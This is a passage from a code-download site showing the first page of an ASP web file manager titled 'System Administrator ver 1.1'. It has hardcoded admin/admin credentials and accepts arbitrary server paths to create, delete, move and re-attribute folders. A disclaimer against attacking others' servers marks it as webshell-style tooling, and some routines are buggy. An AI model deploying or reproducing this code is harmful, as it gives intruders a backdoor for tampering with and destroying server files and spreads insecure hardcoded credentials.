⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 default.asp

📁 视频源代码 视频源代码
💻 ASP
📖 第 1 页 / 共 3 页
字号:
🔍
123 
<%
systemname="admin"
systempass="admin"
%>
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>System Administrator ver 1.1</title>
<style>
body{margin:0px;scrollbar-face-color:buttonface;scrollbar-highlight-color:buttonface;scrollbar-shadow-color:buttonface;scrollbar-3dlight-color:buttonhighlight;scrollbar-arrow-color:#797979;scrollbar-track-color:#EEEEEE;scrollbar-darkshadow-color:buttonshadow}
body,a,table,div,span,td,th,input,select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;}
.text{border:1 solid buttonface;background-color:buttonhighlight}
.button{height:18;border:1 ridge buttonhighlight;background-color:buttonface}
#do{background-color:ffffff;color:FF8000;text-align:center;width:8pt;height:8pt;corsur:hand}
#box{width:7pt;height:7pt;}
a{text-decoration:none;}
</style>
<body onSelectStart="event.returnValue=false;" onConTextMenu="event.returnValue=false">
<%
adminname=Request.form("adminname")
adminpass=Request.form("adminpass")
if adminname=systemname and adminpass=systempass and Session("admin")<>"come" then Session("admin")="come"
if Session("admin")="" then%>
<table border=0 cellPadding=0 cellSpacing=0 height="100%" width="100%">
  <tbody>
  <tr><td align=middle>

<table border="0" cellpadding="3" cellspacing="2" width="200" align="center" bgcolor="EAEAEA">
  <form name="form" method="post" action="default.asp">
  <tr><th bgcolor="AAAAAA" colspan="2">管 理 员 登 陆</td></tr>
  <tr><td>用户名</td><td><input class="text" type="text" name="adminname"></td></tr>
  <tr><td>口　令</td><td><input class="text" type="Password" name="adminpass"></td></tr>
  <tr><td></td><td align="center">
    <input class="button" type="submit" value="登　陆">
    <input class="button" type="reset" value="取　消">
  </td></tr>
  </form>
</table>
<br><br><br>
<table>
  <tr><td>
<b>本软件声明：</b><br><br>
　　·本软件本身不含攻击性及违反当地法规、国家法律和国际法律的资料。<br><br>
　　·凡使用本软件必须遵守有关法律，自觉约束使用行为。<br><br>
　　·不能使用本软件进行他人服务器破坏活动。<br><br>
　　·未经资料所有人允许，不能使用本软件进行资料复制、修改或删除行为。<br><br>
　　·非法使用本软件进行破坏行为、非法行为及违反法律行为，都与本软件作者无关。<br><br>
  </td></tr>
  <tr><td height="50" align=right>
Copyright &copy; 2001～2002 <a href="http://www.zwcity.com" style="color:0000FF">ZWCITY.COM</a> 易影中国. All rights reserved.
  </td></tr>
</table>

  </td></tr>
</table>
<%Response.end
  end if

  Server.ScriptTimeout = 9999999

  ON ERROR RESUME NEXT

  Function IsObjInstalled(strClassString)
    On Error Resume Next
    IsObjInstalled = False
    Err = 0
    Dim xTestObj
    Set xTestObj = Server.CreateObject(strClassString)
    If 0 = Err Then IsObjInstalled = True
    Set xTestObj = Nothing
    Err = 0
  End Function

  If not IsObjInstalled("Scripting.FileSystemObject") then
    error="您使用的服务器不支持FSO!"
  End If

  If not IsObjInstalled("JRO.JetEngine") then
    error="您使用的服务器不支持数据压缩!"
  End If

  If Request("path")="" then
    path=Server.MapPath(".")&"\"
  Else
    path=Replace(Replace(Replace(Replace(Request("path"),":",":/"),"%20"," "),"://",":/")&"/","//","/")
    path=Replace(Replace(path,"/","\"),"\\","\")
  End If
  path=Replace(Replace(path,"/","\"),"\\","\")

  PathJs=Replace(path,"\","\\")

  OtherType="&Drive="&Request("Drive")&"&Folder="&Request("Folder")

'调用
  Set fso=CreateObject("Scripting.FileSystemObject")

'  If fso.FolderExists(path)=false then
'    error="<br><Br>该目录不存在！"
'  End If

'操作

If Request("op")<>"" then
  Select case Request("op")
'目录操作
    case "mddir"	:Call mddir()
    case "rddir"	:Call rddir()
    case "atdir"	:Call atdir()
    case "rendir"	:Call rendir()
    case "copydir"	:Call copydir()
    case "movedirto"	:Call movedirto()
    case "copydirto"	:Call copydirto()
'文件操作
    case "newfile"	:Call newfile()
    case "delfile"	:Call delfile()
    case "atfile"	:Call atfile()
    case "renfile"	:Call renfile()
    case "copyfile"	:Call copyfile()
    case "movefileto"	:Call movefileto()
    case "copyfileto"	:Call copyfileto()
'其他操作
    case "access"	:Call access()
  End Select
End If

Function Filter_Name(sName)
  Dim errorchar
  errorchar=array("'","""","\","/","*","?","&","|","<",">")
  For i=0 to ubound(errorchar)
    If instr(sName,errorchar(i))>0 then
      Filter_Name=""
      Exit For
      Exit Function
    End If
  Next
  Filter_Name = sName
End Function

Function Filter_Path(spath)
  Dim errorchar
  errorchar=array("'","""","*","?","&","|","<",">")
  For i=0 to ubound(errorchar)
    If instr(sPath,errorchar(i))>0 then
      Filter_Path=""
      Exit For
      Exit Function
    End If
  Next
  spath=Replace(Replace(Replace(Replace(spath,":",":/"),"%20"," "),"://",":/")&"/","//","/")
  spath=Replace(Replace(spath,"/","\"),"\\","\")
  Filter_Path = sPath
End Function


'目录

Sub mddir()
  ON ERROR RESUME NEXT
  dirname = Filter_Name(Request("dirname"))
  If not dirname="" then
    mddirpath=path & dirname
    If fso.FolderExists(mddirpath)=false then
      fso.CreateFolder mddirpath
    End If
    If Err then
      error="新建出错可能该指定目录操作权限受到限制!"
    End If
  Else
    error="新建目录名含有非法字符!"
  End If
End Sub

Sub rddir()
  ON ERROR RESUME NEXT
  dirname = Filter_Name(Request("dirname"))
  If not dirname="" then
    rddirpath=path & dirname
    If fso.FolderExists(rddirpath)=true then
      fso.DeleteFolder rddirpath
    End If
    If Err then
      error="删除出错可能该指定目录操作权限受到限制!"
    End If
  Else
    error="删除目录名含有非法字符!"
  End If
End Sub

Sub atdir()
  ON ERROR RESUME NEXT
  dirname = Filter_Name(Request("dirname"))
  If not dirname="" then
    dirpath=path & dirname
    If fso.FolderExists(dirpath)=true then
      Set f = fso.GetFolder(dirpath)
      f.attributes = CCur(Request("readonly"))+CCur(Request("write"))+CCur(Request("system"))+CCur(Request("hidden"))
      Set f = nothing
    End If
    If Err then
      error="属性修改出错可能该指定目录操作权限受到限制!"
    End If
  Else
    error="修改目录属性名含有非法字符!"
  End If
End Sub

Sub rendir()
  ON ERROR RESUME NEXT
  olddirname=Filter_Name(Request("olddirname"))
  newdirname=Filter_Name(Request("dirname"))
  If olddirname<>"" and newdirname<>"" then
    olddirpath=path & olddirname
    newdirpath=path & newdirname
    If fso.FolderExists(olddirpath)=true then
      fso.MoveFolder olddirpath,newdirpath
    End If
    If Err then
      error="重命名出错可能该指定目录操作权限受到限制!"
    End If
  Else
    error="重命目录名含有非法字符!"
  End If
End Sub

Sub copydir()
  ON ERROR RESUME NEXT
  olddirname=Filter_Name(Request("olddirname"))
  newdirname=Filter_Name(Request("dirname"))
  If olddirname<>"" and newdirname<>"" then
    olddirpath=path & olddirname
    newdirpath=path & newdirname
    If fso.FolderExists(olddirpath)=true then
      fso.CopyFolder olddirpath,newdirpath
    End If
    If Err then
      error="复制出错可能该指定目录操作权限受到限制!"
    End If
  Else
    error="复制目录名含有非法字符!"
  End If
End Sub

Sub movedirto()
  ON ERROR RESUME NEXT
  dirname=Filter_Name(Request("dirname"))
  newpath=Filter_Path(Request("movepath"))
  If dirname<>"" and newpath<>"" then
    olddirpath=path & dirname
    newdirpath=newpath & dirname
    If fso.FolderExists(olddirpath)=true and fso.FolderExists(newdirpath)=flase then
      fso.MoveFolder olddirpath,newdirpath
    End If
    If Err then
      error="移动出错可能该指定目录操作权限受到限制!"
    End If
  Else
    error="移动路径含有非法字符!"
  End If
End Sub

Sub copydirto()
  ON ERROR RESUME NEXT
  dirname=Filter_Name(Request("dirname"))
  newpath=Filter_Path(Request("movepath"))
  If dirname<>"" and newpath<>"" then
    olddirpath=path & olddirname
    newdirpath=newpath & newdirname
    If fso.FolderExists(olddirpath)=true and fso.FolderExists(newdirpath)=flase then
      fso.CopyFolder olddirpath,newdirpath
    End If
    If Err then
      error="复制出错可能该指定目录操作权限受到限制!"
    End If
  Else
    error="复制路径含有非法字符!"
  End If
End Sub

'文件

Sub newfile()
  ON ERROR RESUME NEXT
123

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -